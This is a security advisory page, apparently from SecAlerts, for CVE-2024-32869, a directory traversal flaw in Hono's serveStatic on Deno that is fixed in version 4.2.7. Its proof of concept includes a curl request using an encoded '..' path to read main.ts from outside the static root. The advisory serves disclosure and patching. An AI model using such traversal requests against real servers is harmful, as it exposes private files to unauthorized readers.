CVE-2024-32869: Hono vulnerable to Restricted Directory Traversal in serveStatic with deno

Published Apr 23, 2024
·
Updated

Summary

When using serveStatic with deno, it is possible to directory traverse where main.ts is located.

My environment is configured as per this tutorial https://hono.dev/getting-started/deno

PoC

bash $ tree . ├── deno.json ├── deno.lock ├── main.ts ├── README.md └── static └── a.txt

source

jsx import { Hono } from 'https://deno.land/x/hono@v4.2.6/mod.ts' import { serveStatic } from 'https://deno.land/x/hono@v4.2.6/middleware.ts'

const app = new Hono() app.use('/static/', serveStatic({ root: './' }))

Deno.serve(app.fetch)

request

bash curl localhost:8000/static/%2e%2e/main.ts

response is content of main.ts

Impact

Unexpected files are retrieved.

Other sources

Hono is a Web application framework that provides support for any JavaScript runtime. Prior to version 4.2.7, when using serveStatic with deno, it is possible to traverse the directory where main.ts is located. This can result in retrieval of unexpected files. Version 4.2.7 contains a patch for the issue.

NVD

Affected Software

2 affected componentsFixes available
npm/hono<4.2.7
4.2.7
Hono Hono Node.js<4.2.7

Event History

Apr 23, 2024
Advisory Published
via GitHub·04:20 PM
CVE Published
via MITRE·08:20 PM
Data Sourced
via MITRE·08:20 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:15 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:15 PM
RemedyAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2024-32869?

CVE-2024-32869 has a medium severity level due to the potential for directory traversal.

2

How do I fix CVE-2024-32869?

To fix CVE-2024-32869, upgrade the hono package to version 4.2.7 or higher.

3

What kind of vulnerability is CVE-2024-32869?

CVE-2024-32869 is a directory traversal vulnerability that affects the serveStatic functionality in hon.

4

Which versions of hono are affected by CVE-2024-32869?

CVE-2024-32869 affects versions of hono prior to 4.2.7.

5

Can CVE-2024-32869 be exploited remotely?

Yes, CVE-2024-32869 can potentially be exploited remotely if the affected application is accessible.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203